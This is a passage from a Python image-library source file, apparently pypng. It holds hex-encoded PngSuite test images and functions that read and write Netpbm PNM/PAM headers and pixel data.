200314cf801faab200ea752803a8d7a90c503a039f824a53f4694e7342000000 0049454e44ae426082 """), 'basn0g01': _dehex(""" 89504e470d0a1a0a0000000d49484452000000200000002001000000005b0147 590000000467414d41000186a031e8965f0000005b49444154789c2dccb10903 300c05d1ebd204b24a200b7a346f90153c82c18d0a61450751f1e08a2faaead2 a4846ccea9255306e753345712e211b221bf4b263d1b427325255e8bdab29e6f 6aca30692e9d29616ee96f3065f0bf1f1087492fd02f14c90000000049454e44 ae426082 """), 'basn0g02': _dehex(""" 89504e470d0a1a0a0000000d49484452000000200000002002000000001ca13d 890000000467414d41000186a031e8965f0000001f49444154789c6360085df5 1f8cf1308850c20053868f0133091f6390b90700bd497f818b0989a900000000 49454e44ae426082 """), # A version of basn0g04 dithered down to 3 bits. 'Basn0g03': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020040000000093e1c8 2900000001734249540371d88211000000fd49444154789c6d90d18906210c84 c356f22356b2889588604301b112112b11d94a96bb495cf7fe87f32d996f2689 44741cc658e39c0b118f883e1f63cc89dafbc04c0f619d7d898396c54b875517 83f3a2e7ac09a2074430e7f497f00f1138a5444f82839c5206b1f51053cca968 63258821e7f2b5438aac16fbecc052b646e709de45cf18996b29648508728612 952ca606a73566d44612b876845e9a347084ea4868d2907ff06be4436c4b41a3 a3e1774285614c5affb40dbd931a526619d9fa18e4c2be420858de1df0e69893 a0e3e5523461be448561001042b7d4a15309ce2c57aef2ba89d1c13794a109d7 b5880aa27744fc5c4aecb5e7bcef5fe528ec6293a930690000000049454e44ae 426082 """), 'basn0g04': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020040000000093e1c8 290000000467414d41000186a031e8965f0000004849444154789c6360601014 545232367671090d4d4b2b2f6720430095dbd1418e002a77e64c720450b9ab56 912380caddbd9b1c0154ee9933e408a072efde25470095fbee1d1902001f14ee 01eaff41fa0000000049454e44ae426082 """), 'basn0g08': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200800000000561125 280000000467414d41000186a031e8965f0000004149444154789c6364602400 1408c8b30c05058c0f0829f8f71f3f6079301c1430ca11906764a2795c0c0605 8c8ff0cafeffcff887e67131181430cae0956564040050e5fe7135e2d8590000 000049454e44ae426082 """), 'basn0g16': _dehex(""" 89504e470d0a1a0a0000000d49484452000000200000002010000000000681f9 6b0000000467414d41000186a031e8965f0000005e49444154789cd5d2310ac0 300c4351395bef7fc6dca093c0287b32d52a04a3d98f3f3880a7b857131363a0 3a82601d089900dd82f640ca04e816dc06422640b7a03d903201ba05b7819009 d02d680fa44c603f6f07ec4ff41938cf7f0016d84bd85fae2b9fd70000000049 454e44ae426082 """), 'basn2c08': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200802000000fc18ed a30000000467414d41000186a031e8965f0000004849444154789cedd5c10900 300c024085ec91fdb772133b442bf4a1f8cee12bb40d043b800a14f81ca0ede4 7d4c784081020f4a871fc284071428f0a0743823a94081bb7077a3c00182b1f9 5e0f40cf4b0000000049454e44ae426082 """), 'basn2c16': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000201002000000ac8831 e00000000467414d41000186a031e8965f000000e549444154789cd596c10a83 301044a7e0417fcb7eb7fdadf6961e06039286266693cc7a188645e43dd6a08f 1042003e2fe09aef6472737e183d27335fcee2f35a77b702ebce742870a23397 f3edf2705dd10160f3b2815fe8ecf2027974a6b0c03f74a6e4192843e75c6c03 35e8ec3202f5e84c0181bbe8cca967a00d9df3491bb040671f2e6087ce1c2860 8d1e05f8c7ee0f1d00b667e70df44467ef26d01fbd9bc028f42860f71d188bce fb8d3630039dbd59601e7ab3c06cf428507f0634d039afdc80123a7bb1801e7a b1802a7a14c89f016d74ce331bf080ce9e08f8414f04bca133bfe642fe5e07bb c4ec0000000049454e44ae426082 """), 'basn3p04': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200403000000815467 c70000000467414d41000186a031e8965f000000037342495404040477f8b5a3 0000002d504c54452200ff00ffff8800ff22ff000099ffff6600dd00ff77ff00 ff000000ff99ddff00ff00bbffbb000044ff00ff44d2b049bd00000047494441 54789c63e8e8080d3d7366d5aaf27263e377ef66ce64204300952b28488e002a d7c5851c0154eeddbbe408a07119c81140e52a29912380ca4d4b23470095bb7b 37190200e0c4ead10f82057d0000000049454e44ae426082 """), 'basn6a08': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200806000000737a7a f40000000467414d41000186a031e8965f0000006f49444154789cedd6310a80 300c46e12764684fa1f73f55048f21c4ddc545781d52e85028fc1f4d28d98a01 305e7b7e9cffba33831d75054703ca06a8f90d58a0074e351e227d805c8254e3 1bb0420f5cdc2e0079208892ffe2a00136a07b4007943c1004d900195036407f 011bf00052201a9c160fb84c0000000049454e44ae426082 """), 'cs3n3p08': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020080300000044a48a c60000000467414d41000186a031e8965f0000000373424954030303a392a042 00000054504c544592ff0000ff9200ffff00ff0000dbff00ff6dffb600006dff b6ff00ff9200dbff000049ffff2400ff000024ff0049ff0000ffdb00ff4900ff b6ffff0000ff2400b6ffffdb000092ffff6d000024ffff49006dff00df702b17 0000004b49444154789c85cac70182000000b1b3625754b0edbfa72324ef7486 184ed0177a437b680bcdd0031c0ed00ea21f74852ed00a1c9ed0086da0057487 6ed0121cd6d004bda0013a421ff803224033e177f4ae260000000049454e44ae 426082 """), 's09n3p02': _dehex(""" 89504e470d0a1a0a0000000d49484452000000090000000902030000009dffee 830000000467414d41000186a031e8965f000000037342495404040477f8b5a3 0000000c504c544500ff000077ffff00ffff7700ff5600640000001f49444154 789c63600002fbff0c0c56ab19182ca381581a4283f82071200000696505c36a 437f230000000049454e44ae426082 """), 'tbgn3p08': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020080300000044a48a c60000000467414d41000186a031e8965f00000207504c54457f7f7fafafafab abab110000222200737300999999510d00444400959500959595e6e600919191 8d8d8d620d00898989666600b7b700911600000000730d007373736f6f6faaaa 006b6b6b676767c41a00cccc0000f30000ef00d51e0055555567670000dd0051 515100d1004d4d4de61e0038380000b700160d0d00ab00560d00090900009500 009100008d003333332f2f2f2f2b2f2b2b000077007c7c001a05002b27000073 002b2b2b006f00bb1600272727780d002323230055004d4d00cc1e00004d00cc 1a000d00003c09006f6f00002f003811271111110d0d0d55554d090909001100 4d0900050505000d00e2e200000900000500626200a6a6a6a2a2a29e9e9e8484 00fb00fbd5d500801100800d00ea00ea555500a6a600e600e6f7f700e200e233 0500888888d900d9848484c01a007777003c3c05c8c8008080804409007c7c7c bb00bbaa00aaa600a61e09056262629e009e9a009af322005e5e5e05050000ee 005a5a5adddd00a616008d008d00e20016050027270088110078780000c40078 00787300736f006f44444400aa00c81e004040406600663c3c3c090000550055 1a1a00343434d91e000084004d004d007c004500453c3c00ea1e00222222113c 113300331e1e1efb22001a1a1a004400afaf00270027003c001616161e001e0d 160d2f2f00808000001e00d1d1001100110d000db7b7b7090009050005b3b3b3 6d34c4230000000174524e530040e6d86600000001624b474402660b7c640000 01f249444154789c6360c0048c8c58049100575f215ee92e6161ef109cd2a15e 4b9645ce5d2c8f433aa4c24f3cbd4c98833b2314ab74a186f094b9c2c27571d2 6a2a58e4253c5cda8559057a392363854db4d9d0641973660b0b0bb76bb16656 06970997256877a07a95c75a1804b2fbcd128c80b482a0b0300f8a824276a9a8 ec6e61612b3e57ee06fbf0009619d5fac846ac5c60ed20e754921625a2daadc6 1967e29e97d2239c8aec7e61fdeca9cecebef54eb36c848517164514af16169e 866444b2b0b7b55534c815cc2ec22d89cd1353800a8473100a4485852d924a6a 412adc74e7ad1016ceed043267238c901716f633a812022998a4072267c4af02 92127005c0f811b62830054935ce017b38bf0948cc5c09955f030a24617d9d46 63371fd940b0827931cbfdf4956076ac018b592f72d45594a9b1f307f3261b1a 084bc2ad50018b1900719ba6ba4ca325d0427d3f6161449486f981144cf3100e 2a5f2a1ce8683e4ddf1b64275240c8438d98af0c729bbe07982b8a1c94201dc2 b3174c9820bcc06201585ad81b25b64a2146384e3798290c05ad280a18c0a62e e898260c07fca80a24c076cc864b777131a00190cdfa3069035eccbc038c30e1 3e88b46d16b6acc5380d6ac202511c392f4b789aa7b0b08718765990111606c2 9e854c38e5191878fbe471e749b0112bb18902008dc473b2b2e8e72700000000 49454e44ae426082 """), 'Tp2n3p08': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020080300000044a48a c60000000467414d41000186a031e8965f00000300504c544502ffff80ff05ff 7f0703ff7f0180ff04ff00ffff06ff000880ff05ff7f07ffff06ff000804ff00 0180ff02ffff03ff7f02ffff80ff0503ff7f0180ffff0008ff7f0704ff00ffff 06ff000802ffffff7f0704ff0003ff7fffff0680ff050180ff04ff000180ffff 0008ffff0603ff7f80ff05ff7f0702ffffff000880ff05ffff0603ff7f02ffff ff7f070180ff04ff00ffff06ff000880ff050180ffff7f0702ffff04ff0003ff 7fff7f0704ff0003ff7f0180ffffff06ff000880ff0502ffffffff0603ff7fff 7f0702ffff04ff000180ff80ff05ff0008ff7f07ffff0680ff0504ff00ff0008 0180ff03ff7f02ffff02ffffffff0604ff0003ff7f0180ffff000880ff05ff7f 0780ff05ff00080180ff02ffffff7f0703ff7fffff0604ff00ff7f07ff0008ff ff0680ff0504ff0002ffff0180ff03ff7fff0008ffff0680ff0504ff000180ff 02ffff03ff7fff7f070180ff02ffff04ff00ffff06ff0008ff7f0780ff0503ff 7fffff06ff0008ff7f0780ff0502ffff03ff7f0180ff04ff0002ffffff7f07ff ff0604ff0003ff7fff00080180ff80ff05ffff0603ff7f0180ffff000804ff00 80ff0502ffffff7f0780ff05ffff0604ff000180ffff000802ffffff7f0703ff 7fff0008ff7f070180ff03ff7f02ffff80ff05ffff0604ff00ff0008ffff0602 ffff0180ff04ff0003ff7f80ff05ff7f070180ff04ff00ff7f0780ff0502ffff ff000803ff7fffff0602ffffff7f07ffff0680ff05ff000804ff0003ff7f0180 ff02ffff0180ffff7f0703ff7fff000804ff0080ff05ffff0602ffff04ff00ff ff0603ff7fff7f070180ff80ff05ff000803ff7f0180ffff7f0702ffffff0008 04ff00ffff0680ff0503ff7f0180ff04ff0080ff05ffff06ff000802ffffff7f 0780ff05ff0008ff7f070180ff03ff7f04ff0002ffffffff0604ff00ff7f07ff 000880ff05ffff060180ff02ffff03ff7f80ff05ffff0602ffff0180ff03ff7f 04ff00ff7f07ff00080180ffff000880ff0502ffff04ff00ff7f0703ff7fffff 06ff0008ffff0604ff00ff7f0780ff0502ffff03ff7f0180ffdeb83387000000 f874524e53000000000000000008080808080808081010101010101010181818 1818181818202020202020202029292929292929293131313131313131393939 393939393941414141414141414a4a4a4a4a4a4a4a52525252525252525a5a5a 5a5a5a5a5a62626262626262626a6a6a6a6a6a6a6a73737373737373737b7b7b 7b7b7b7b7b83838383838383838b8b8b8b8b8b8b8b94949494949494949c9c9c 9c9c9c9c9ca4a4a4a4a4a4a4a4acacacacacacacacb4b4b4b4b4b4b4b4bdbdbd bdbdbdbdbdc5c5c5c5c5c5c5c5cdcdcdcdcdcdcdcdd5d5d5d5d5d5d5d5dedede dededededee6e6e6e6e6e6e6e6eeeeeeeeeeeeeeeef6f6f6f6f6f6f6f6b98ac5 ca0000012c49444154789c6360e7169150d230b475f7098d4ccc28a96ced9e32 63c1da2d7b8e9fb97af3d1fb8f3f18e8a0808953544a4dd7c4c2c9233c2621bf b4aab17fdacce5ab36ee3a72eafaad87efbefea68702362e7159652d031b07cf c0b8a4cce28aa68e89f316aedfb4ffd0b92bf79fbcfcfe931e0a183904e55435 8decdcbcc22292b3caaadb7b27cc5db67af3be63e72fdf78fce2d31f7a2860e5 119356d037b374f10e8a4fc92eaa6fee99347fc9caad7b0f9ebd74f7c1db2fbf e8a180995f484645dbdccad12f38363dafbcb6a573faeca5ebb6ed3e7ce2c29d e76fbefda38702063e0149751d537b67ff80e8d4dcc29a86bea97316add9b0e3 c0e96bf79ebdfafc971e0a587885e515f58cad5d7d43a2d2720aeadaba26cf5a bc62fbcea3272fde7efafac37f3a28000087c0fe101bc2f85f0000000049454e 44ae426082 """), 'tbbn1g04': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020040000000093e1c8 290000000467414d41000186a031e8965f0000000274524e530007e8f7589b00 000002624b47440000aa8d23320000013e49444154789c55d1cd4b024118c7f1 efbe6419045b6a48a72d352808b435284f9187ae9b098627a1573a19945beba5 e8129e8222af11d81e3a4545742de8ef6af6d5762e0fbf0fc33c33f36085cb76 bc4204778771b867260683ee57e13f0c922df5c719c2b3b6c6c25b2382cea4b9 9f7d4f244370746ac71f4ca88e0f173a6496749af47de8e44ba8f3bf9bdfa98a 0faf857a7dd95c7dc8d7c67c782c99727997f41eb2e3c1e554152465bb00fe8e b692d190b718d159f4c0a45c4435915a243c58a7a4312a7a57913f05747594c6 46169866c57101e4d4ce4d511423119c419183a3530cc63db88559ae28e7342a 1e9c8122b71139b8872d6e913153224bc1f35b60e4445bd4004e20ed6682c759 1d9873b3da0fbf50137dc5c9bde84fdb2ec8bde1189e0448b63584735993c209 7a601bd2710caceba6158797285b7f2084a2f82c57c01a0000000049454e44ae 426082 """), 'tbrn2c08': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200802000000fc18ed a30000000467414d41000186a031e8965f0000000674524e53007f007f007f8a 33334f00000006624b474400ff0000000033277cf3000004d649444154789cad 965f68537714c73fd912d640235e692f34d0406fa0c1663481045ab060065514 56660a295831607df0a1488715167060840a1614e6431e9cb34fd2c00a762c85 f6a10f816650c13b0cf40612e1822ddc4863bd628a8924d23d6464f9d3665dd9 f7e977ce3dbff3cd3939bfdfef6bb87dfb364782dbed065ebe7cd93acc78b4ec a228debd7bb7bfbfbfbbbbfb7f261045311a8d261209405194274f9ea4d3e916 f15f1c3eb5dd6e4fa5fecce526239184a2b0b8486f6f617171b1f5ae4311381c 8e57af5e5dbd7a351088150a78bd389d44222c2f93cdfe66b7db8f4ee07038b6 b6b6bebf766d7e7e7e60a06432313b4ba984c3c1c4049a46b95c5a58583822c1 dbb76f27272733d1b9df853c3030c0f232562b9108cf9eb1b888d7cbf030abab 31abd5fa1f08dc6ef7e7cf9f1f3f7e1c8944745d4f1400c62c001313acad21cb b8dd2c2c603271eb1640341aad4c6d331aa7e8c48913a150a861307ecc11e964 74899919bc5e14e56fffc404f1388502f178dceff7ef4bf0a5cfe7abb533998c e5f9ea2f1dd88c180d64cb94412df3dd57e83a6b3b3c7a84c98420100c72fd3a 636348bae726379fe69e8e8d8dbd79f3a6558b0607079796965256479b918085 7b02db12712b6181950233023f3f647494ee6e2e5ea45864cce5b8a7fe3acffc 3aebb22c2bd5d20e22d0757d7b7bbbbdbd3d94a313bed1b0aa3cd069838b163a 8d4c59585f677292d0b84d9a995bd337def3fe6bbe5e6001989b9b6bfe27ea08 36373781542ab56573248b4c5bc843ac4048c7ab21aa24ca00534c25482828a3 8c9ee67475bbaaaab22cb722c8e57240a150301a8d219de94e44534d7d90e885 87acb0e2c4f9800731629b6c5ee14a35a6b9887d2a0032994cb9cf15dbe59650 ff7b46a04c9a749e7cc5112214266cc65c31354d5b5d5d3d90209bcd5616a552 a95c2e87f2a659bd9ee01c2cd73964e438f129a6aa9e582c363838b80f81d7eb 5555b56a2a8ad2d9d7affd0409f8015c208013fea00177b873831b0282c964f2 783c1e8fa7582cee5f81a669b5e6eeeeaee58e8559b0c233d8843c7c0b963a82 34e94b5cb2396d7d7d7db22c8ba258fb0afd43f0e2c58b919191ba9de9b4d425 118329b0c3323c8709d02041b52b4ea7f39de75d2a934a2693c0a953a76a93d4 5d157ebf7f6565a5542a553df97c5e10045dd731c130b86113cc300cbd489224 08422a952a140a95788fc763b1d41558d7a2d7af5f5fb870a1d6a3aaaacd6603 18802da84c59015bd2e6897b745d9765b99a1df0f97c0daf74e36deaf7fbcd66 73ad2797cb89a2c839880188a2e8743a8bc5a22ccbba5e376466b3b9bdbdbd21 6123413a9d0e0402b51e4dd3bababa788eb022b85caeb6b6364551b6b7b76942 43f7f727007a7a7a04a1ee8065b3595fde2768423299ac1ec6669c3973e65004 c0f8f878ad69341a33994ced2969c0d0d0502412f9f8f163f3a7fd654b474787 288ad53e74757535df6215b85cae60302849d2410aecc037f9f2e5cbd5b5c160 680eb0dbede170381c0e7ff8f0a185be3b906068684892a4ca7a6f6faff69328 8ad3d3d3f7efdfdfdbdbfb57e96868a14d0d0643381c96242997cbe5f3794010 84603078fcf8f1d6496bd14a3aba5c2ea7d369341a5555b5582c8140e0fcf9f3 1b1b1b87cf4eeb0a8063c78e45a3d19e9e1ebfdfdf5a831e844655d18093274f 9e3d7bf6d3a74f3b3b3b47c80efc05ff7af28fefb70d9b0000000049454e44ae 426082 """), 'basn6a16': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020100600000023eaa6 b70000000467414d41000186a031e8965f00000d2249444154789cdd995f6c1c d775c67ff38fb34b724d2ee55a8e4b04a0ac87049100cab4dbd8c6528902cb4d 10881620592e52d4325ac0905bc98a94025e71fd622cb5065ac98a0c283050c0 728a00b6e542a1d126885cd3298928891d9a0444037e904434951d4b90b84b2f c9dde1fcebc33977a95555348f411e16dfce9d3b77ee77eebde77ce78c95a669 0ad07c17009a13edd898b87dfb1fcb7d2b4d1bff217f33df80deb1e6267df0ff c1e6e6dfafdf1f5a7fd30f9aef66b6d546dd355bf02c40662e3307f9725a96c6 744c3031f83782f171c148dbc3bf1774f5dad1e79d6f095a3f54d4fbec5234ef d9a2f8d73afe4f14f57ef4f42def7b44f19060f06b45bddf1c5534d77fd922be 2973a15a82e648661c6e3240aa3612ead952b604bde57458894f29deaf133bac 13d2766f5227a4a3b8cf08da7adfd6fbd6bd8a4fe9dbb43d35e3dfa3f844fbf8 9119bf4f7144094fb56333abf8a86063ca106f94b3a3b512343765e60082097f 1bb86ba72439a653519b09f5cee1ce61c897d37eedf5553580ae60f4af8af33a b14fd400b6a0f34535c0434afc0b3a9f07147527a5fa7ca218ff56c74d74dc3f 155cfd3325fc278acf2ae1cb4a539f5f9937c457263b0bd51234c732a300cdd1 cc1840f0aaff54db0e4874ed5a9b5d6d27d4bb36746d80de72baa877ff4b275a d7895ed1897ea4139b5143fcbb1a62560da1ed9662aaed895ec78a91c18795b8 5e07ab4af8ba128e95e682e0728bf8f2e5ae815a091a53d902ac1920d8e05f06 589de8d8d66680789f4e454fb9d9ec66cd857af796ee2d902fa73fd5bba775a2 153580ae44705ed0d37647d15697cb8f14bfa3e3e8fdf8031d47af571503357c f30d25acedcbbf135c9a35c49766ba07ab255859e8ec03684e66860182dff8f7 0304bff6ff1c20fc81b7afdd00a71475539a536e36bb5973a19e3b923b02bde5 e4efd4003ac170eb2d13fe274157afedbd82d6fb3a9a1e85e4551d47cf7078f8 9671fe4289ebf5f2bf08d63f37c4eb4773c55a0996efeefa0ca011671d8060ca 2f0004c7fcc300e166ef0240f825efe3361f106d57d423d0723f7acacd66376b 2ed47b7a7a7a205f4ef4ac4691e0aad9aa0d41cf13741c3580a506487574ddca 61a8c403c1863ebfbcac3475168b2de28b8b3d77544bb05ce92a02aceced3c0d d0cc65ea371b201cf1c601c24dde1c4078cedbdeb60322f50126a019bf6edc9b 39e566b39b3517eaf97c3e0fbde5e4491d45bd74537145d155b476aa0176e868 c6abebf30dbd5e525c54ac8e18e2d56abeb756827a3d970358a97416019a6f64 f60004fdfe1580d5c98e618070cc1b05887eee7e0d209a70db7d8063029889b4 c620ead78d7b33a7dc6c76b3e6427ddddbebde867c393aa7845e5403e8ca794a d0d6fb897af5f03525fe5782f5e7046bdaef468bf88d1debc6ab25583cd17310 6079b9ab0ba059c914018245bf076075b5a303200c3c1f209a733701444fbbaf 00c4134ebb016c5d0b23614c243701cdf875e3decce9349bddacb9505fbf7dfd 76e82d87736a00f5d2b5ffd4b7dce2719a4d25ae717ee153c1abef18e257cfad 7fa45682da48ef38c052b53b0fd06864b300c151ff08c0ea431de701a287dd5f 004497dc7b01a253ee3e80b8c7f91c20f967fb6fdb7c80ada7d8683723614c24 3701cdf875e3decc29379bddacb950ef3fd47f08f2e5a61ea4aa2a3eb757cd55 13345efcfa59c12b2f19e2578ef77fb75a82854ffbee01a83f977b11a031931d 040802df07082b5e11207cc17b1e209a770700e2df0a83e409fb7580f827c230 99b06fd901fb058d6835dacd481813c94d40337eddb83773cacd66376b2ed437 bebcf165e82d2f4e4beb7f3fa6e652c2d7ee10bc78c010bfb87fe3c95a09ae9f bd732740bd2fb700d0f865f64180e059ff044018ca0ca28a5b04883f701e0088 bfec7c0c909cb71f0448c6ec518074b375012079d9dedf66004bcfbc51eb2dd1 aadacd481813c94d40337eddb83773cacd66376b2ed487868686205fbe7c49ef 5605a73f34c4a7a787eeab96e0da81bb4e022c15ba27019a5b339300e16bf286 a8eae601e25866907cdf3e0890acb36f00245fb57f05904e59c300e92561946e b2e600d209ab7d07f04d458dfb46ad1bd16ab49b913026929b8066fcba716fe6 949bcd6ed65ca8ef7e7cf7e3d05b7e7c8f217ee6cdddbb6a25a856f37980e0c7 fe4e80a82623c48193014846ec7180f4acf518409aca0cd28a5504e03b32c374 de1a00608a0240faaa327a4b19fe946fb6f90054dbb5f2333d022db56eb4966a 3723614c243701cdf8f556bea8a7dc6c76b3e66bd46584ddbbcebc0990cf4b0f ff4070520c282338a7e26700ec725202b01e4bcf0258963c6f1d4d8f0030cb20 805549c520930c03584fa522b676f11600ffc03fde3e1b3489a9c9054c9aa23b c08856a3dd8c843191dc0434e3d78d7b33a75c36fb993761f7ae5a69f72ef97f e6ad336fed7e1c60e8bee96980bbdebbb60da07b7069062033d9dc0ae03d296f 70ab511ec071640676252902d833c916007b3e1900b0a6d2028035968e025861 ea01581369fb11488c34d18cbc95989afccca42baad65ba2d5683723614c24d7 8066fcbab8b7e96918baaf5aaa56219f975fb50a43f7c9bde90fa73f1c1a02d8 78f2e27e803b77ca08b90519315b6fe400fc1392097a9eccc0ad444500e70199 a1331f0f00d8934901c07e5d526ceb87c2d07e2579badd005a2b31a5089391b7 1253358049535a6add8856dd0146c298482e01ede27ed878b256ba7600ee3a09 c18fc1df09fe01084ec25defc1b56db0f1a4f4bd78e0e2818d2f0334e7330300 7df7c888b917e50dd9c1c60c80efcb0cbc63e1f700bce7c31700dccbd1060027 8add9b0de06c8e2f00d84962b7d7030e2a61538331b98051f92631bd253f336a dd8856a3dd44c25c390efddfad96ae9f853b77c25201ba27c533b8bdf28b6ad0 3d084b33d2e7fa59099e9901b8f2d29597fa0f01848f78e70082117f1ca07b76 6910209b9519f895a008d031bbba05c09d8f06005c5b18b8fba25300cea6780e c03e911c6ccf06d507b48a4fa606634a114609de929f9934c5a87511ad57cfc1 fa476aa5854fa1ef1e3910b905686e85cc24c40138198915f133d2d6dc2a7dea 7df2ccc2a752faf2cec1d577aebeb37e3b4034eeee0008dff3be0e6b923773b4 7904c0ef9119767cb4fa1500ef1361e08e452500f71561e84cc4ed3e20fab6a2 c905f40cb76a3026bf3319b91ac2e46792a6dcd801ebc6aba5da08f48ecb81c8 bd088d5f42f6417191de93908c803d0e76199292b485af41b60e8d9c3c537f0e 8211f0c7211a077707dc18b931b2ee6d80a4d7ae024491ebc24d4a708ff70680 7f25e807e8785f1878e322d6ddaf453f0770ff2dfa769b01423dbbad72a391b6 5a7c3235985629423372494cab55c8f7d64a8b27a0e7202c55a13b0f8d19c80e 4ae9ca3f015115dc3ca467c17a4c7ee95970ab10e5a54ff0ac3cd39881ee5958 1a84f03df0be0e492fd855a8d6aa35d10b4962dbb0a604a3d3ee5e80a8eee600 a24977f8660378bf0bbf00e01d0a8fb7f980f04b8aa6ce6aca8d5a7533c52753 839152c4e222f4dc512dd5eb90cbc981e8ea12cf90cd8a8bf47d89159e2741d3 7124f65b96fcd254dae258fa84a13c13043246a32129574787e49eae2b49b86d c3e2e78b9ff7f4002415bb08907c66df0d103b4e0c104db90500ff70700c203a ee1e82dba4c3e16e256c0acca6ceaae9afd1f612d7eb472157ac95962bd05594 7dd1598466053245088e827f44628657942a825b84e4fb601f84b4025611aca3 901e01bb024911dc0a4445f08e41f83df02b10142173149ab71baf027611ea95 7a257704201d14cd9af4d90b00f194530088cb4e09c0df1c5c0088f7393f6833 c0aa3ac156655de3bca9b34ab9716906ba07aba5e5bba1eb3358d90b9da7c533 64f6888bf47b60f521e8380fe10be03d2feac17900927560df40f4e48f805960 50328d648bf4893f9067c217a0631656b7c898c122847bc07b03a2d3e0ee85e4 33b0ef867450c4fad2ecd26cf7168074c0ba0c904cdac300c9cfec4701924df6 1cdca61e10685c6f7d52d0caba1498972f43d740adb4b2009d7d7220b20e3473 90a943d00ffe959bb6eac3e0fe42ea49ee00c45f06e76329b1dabf127d690d80 5581b408f63c2403e0cc433c00ee658836803b0fd100747c04ab5f917704fd10 d5c1cd41ec801343d207f602a403605d86e5f9e5f9ae0d00e994556833806685 c931fb709b0f08b4e869bea5c827859549e82c544b8d29c816a0390999613920 7e610d5727a16318c2003c1fa24be0de2b32caf92224e7c17e5004b6350c4c01 05601218066b0ad28224e149019c086257ca315102de2712903bde97b8144d82 3b2c6ac52d403c054e019249b087f53d0558995a99ea946c70cc927458b3c1ff 550f30050df988d4284376b4566a8e416654cc921985e037e0df0fc131f00f4b acf0c6211c036f14a239703741740adc7da227edd7e56b833d0ae92549b4d357 25dfb49ed2ff63908e6adf27d6d0dda7638d4154d2778daca17f58e61297c129 41f233b01f5dc3740cac51688c35c6b22580f48224fee9b83502569a66b629f1 09f3713473413e2666e7fe6f6c6efefdfafda1f56f6e06f93496d9d67cb7366a 9964b6f92e64b689196ec6c604646fd3fe4771ff1bf03f65d8ecc3addbb5f300 00000049454e44ae426082 """), } def read_pam_header(infile): """ Read (the rest of a) PAM header. `infile` should be positioned immediately after the initial 'P7' line (at the beginning of the second line). Returns are as for `read_pnm_header`. """ # Unlike PBM, PGM, and PPM, we can read the header a line at a time. header = dict() while True: l = infile.readline().strip() if l == strtobytes('ENDHDR'): break if not l: raise EOFError('PAM ended prematurely') if l[0] == strtobytes('#'): continue l = l.split(None, 1) if l[0] not in header: header[l[0]] = l[1] else: header[l[0]] += strtobytes(' ') + l[1] required = ['WIDTH', 'HEIGHT', 'DEPTH', 'MAXVAL'] required = [strtobytes(x) for x in required] WIDTH,HEIGHT,DEPTH,MAXVAL = required present = [x for x in required if x in header] if len(present) != len(required): raise Error('PAM file must specify WIDTH, HEIGHT, DEPTH, and MAXVAL') width = int(header[WIDTH]) height = int(header[HEIGHT]) depth = int(header[DEPTH]) maxval = int(header[MAXVAL]) if (width <= 0 or height <= 0 or depth <= 0 or maxval <= 0): raise Error( 'WIDTH, HEIGHT, DEPTH, MAXVAL must all be positive integers') return 'P7', width, height, depth, maxval def read_pnm_header(infile, supported=('P5','P6')): """ Read a PNM header, returning (format,width,height,depth,maxval). `width` and `height` are in pixels. `depth` is the number of channels in the image; for PBM and PGM it is synthesized as 1, for PPM as 3; for PAM images it is read from the header. `maxval` is synthesized (as 1) for PBM images. """ # Generally, see http://netpbm.sourceforge.net/doc/ppm.html # and http://netpbm.sourceforge.net/doc/pam.html supported = [strtobytes(x) for x in supported] # Technically 'P7' must be followed by a newline, so by using # rstrip() we are being liberal in what we accept. I think this # is acceptable. type = infile.read(3).rstrip() if type not in supported: raise NotImplementedError('file format %s not supported' % type) if type == strtobytes('P7'): # PAM header parsing is completely different. return read_pam_header(infile) # Expected number of tokens in header (3 for P4, 4 for P6) expected = 4 pbm = ('P1', 'P4') if type in pbm: expected = 3 header = [type] # We have to read the rest of the header byte by byte because the # final whitespace character (immediately following the MAXVAL in # the case of P6) may not be a newline. Of course all PNM files in # the wild use a newline at this point, so it's tempting to use # readline; but it would be wrong. def getc(): c = infile.read(1) if not c: raise Error('premature EOF reading PNM header') return c c = getc() while True: # Skip whitespace that precedes a token. while c.isspace(): c = getc() # Skip comments. while c == '#': while c not in '\n\r': c = getc() if not c.isdigit(): raise Error('unexpected character %s found in header' % c) # According to the specification it is legal to have comments # that appear in the middle of a token. # This is bonkers; I've never seen it; and it's a bit awkward to # code good lexers in Python (no goto). So we break on such # cases. token = strtobytes('') while c.isdigit(): token += c c = getc() # Slight hack. All "tokens" are decimal integers, so convert # them here. header.append(int(token)) if len(header) == expected: break # Skip comments (again) while c == '#': while c not in '\n\r': c = getc() if not c.isspace(): raise Error('expected header to end with whitespace, not %s' % c) if type in pbm: # synthesize a MAXVAL header.append(1) depth = (1,3)[type == strtobytes('P6')] return header[0], header[1], header[2], depth, header[3] def write_pnm(file, width, height, pixels, meta): """Write a Netpbm PNM/PAM file.""" bitdepth = meta['bitdepth'] maxval = 2**bitdepth - 1 # Rudely, the number of image planes can be used to determine # whether we are L (PGM), LA (PAM), RGB (PPM), or RGBA (PAM). planes = meta['planes'] # Can be an assert as long as we assume that pixels and meta came # from a PNG file. assert planes in (1,2,3,4) if planes in (1,3): if 1 == planes: # PGM # Could generate PBM if maxval is 1, but we don't (for one # thing, we'd have to convert the data, not just blat it # out). fmt = 'P5' else: # PPM fmt = 'P6' file.write('%s %d %d %d\n' % (fmt, width, height, maxval)) if planes in (2,4): # PAM # See http://netpbm.sourceforge.net/doc/pam.html if 2 == planes: tupltype = 'GRAYSCALE_ALPHA' else: tupltype = 'RGB_ALPHA' file.write('P7\nWIDTH %d\nHEIGHT %d\nDEPTH %d\nMAXVAL %d\n' 'TUPLTYPE %s\nENDHDR\n' % (width, height, planes, maxval, tupltype)) # Values per row vpr = planes * width # struct format fmt = '>%d' % vpr if maxval > 0xff: fmt = fmt + 'H' else: fmt = fmt + 'B' for row in pixels: file.write(struct.pack(fmt, *row)) file.flush() def color_triple(color): """ Convert a command line colour value to a RGB triple of integers. FIXME: Somewhere we need support for 